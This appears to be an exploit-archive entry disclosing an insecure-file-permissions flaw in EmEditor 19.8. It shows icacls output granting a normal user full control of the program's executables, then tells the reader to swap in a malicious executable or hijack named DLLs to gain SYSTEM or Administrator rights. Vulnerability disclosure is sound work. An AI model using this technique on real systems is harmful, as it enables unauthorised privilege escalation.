a99d181f24
8 changes to exploits/shellcodes Andrea ST Filters Service 1.0.64.7 - 'Andrea ST Filters Service ' Unquoted Service Path Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC) EmEditor 19.8 - Insecure File Permissions Druva inSync Windows Client 6.5.2 - Local Privilege Escalation Open-AudIT Professional 3.3.1 - Remote Code Execution School ERP Pro 1.0 - Arbitrary File Read Easy Transfer 1.7 for iOS - Directory Traversal hits script 1.0 - 'item_name' SQL Injection
67 lines
No EOL
1.9 KiB
Text
67 lines
No EOL
1.9 KiB
Text
# Exploit Title: EmEditor 19.8 - Insecure File Permissions
|
|
# Date: 2020-04-27
|
|
# Exploit Author: SajjadBnd
|
|
# Vendor Homepage: https://www.emeditor.com/
|
|
# Software Link: https://support.emeditor.com/en/downloads/suggested
|
|
# Version: 19.8
|
|
# Tested on: Win10 Professional x64
|
|
|
|
[ Description ]
|
|
|
|
EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.
|
|
Both native 64-bit and 32-bit builds are available, and moreover,
|
|
the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),
|
|
and AVX-512 (512-bit) instruction sets.
|
|
|
|
[ PoC ]
|
|
|
|
C:\Users\user\AppData\Local\Programs\EmEditor
|
|
λ icacls *.exe
|
|
|
|
ee128.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
ee256.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
ee512.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
EEAdmin.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
eehlpver.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
eeupdate.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
emedhtml.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
EmEditor.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
emedtray.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
emedws.exe NT AUTHORITY\SYSTEM:(F)
|
|
BUILTIN\Administrators:(F)
|
|
DESKTOP-K4UDI4I\user:(F)
|
|
|
|
Successfully processed 10 files; Failed processing 0 files
|
|
|
|
[ Exploit - Privilege Escalation ]
|
|
|
|
Replace any *.exe files with any executable
|
|
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
|
|
- Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D |